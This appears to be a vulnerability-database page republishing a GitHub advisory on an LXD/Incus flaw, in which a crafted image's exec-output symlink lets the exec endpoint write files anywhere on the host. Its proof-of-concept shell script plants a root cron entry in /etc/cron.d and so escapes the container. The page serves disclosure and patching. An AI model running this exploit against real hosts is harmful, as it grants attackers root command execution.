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Response snapshot Nov 7, 2026, 20:21 UTC

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VulnerabilityGHSA-9j25-mm2h-2f76

LXD has arbitrary file write on host via `exec-output` symlink in crafted image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.

Published Updated

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/canonical/lxd: 0.0.0-20260626085134-124f90100640. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-9j25-mm2h-2f76 (opens a new tab)

What happened

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

Summary

The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

Details

Continue reading

When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
 printf '%s' "${@}" >&2
 exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
 rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output

# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
 -X POST -H 'Content-Type: application/json' \
 -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
 "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Affected package ranges reported by GitHub: github.com/canonical/lxd: < 0.0.0-20260626085134-124f90100640

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-9j25-mm2h-2f76 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9j25-mm2h-2f76, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). LXD has arbitrary file write on host via `exec-output` symlink in crafted image. https://kevwire.com/record/GHSA-9j25-mm2h-2f76

MLA

"LXD has arbitrary file write on host via `exec-output` symlink in crafted image." KEVWire, 6 Nov. 2026, kevwire.com/record/GHSA-9j25-mm2h-2f76.

Chicago

KEVWire. "LXD has arbitrary file write on host via `exec-output` symlink in crafted image." Last modified November 6, 2026. https://kevwire.com/record/GHSA-9j25-mm2h-2f76.

Evidence summary (plain text)

LXD has arbitrary file write on host via `exec-output` symlink in crafted image (Nov 6, 2026).
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.

When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk.
Sources:
GitHub-reviewed advisory GHSA-9j25-mm2h-2f76: https://github.com/advisories/GHSA-9j25-mm2h-2f76
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-9j25-mm2h-2f76.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 7, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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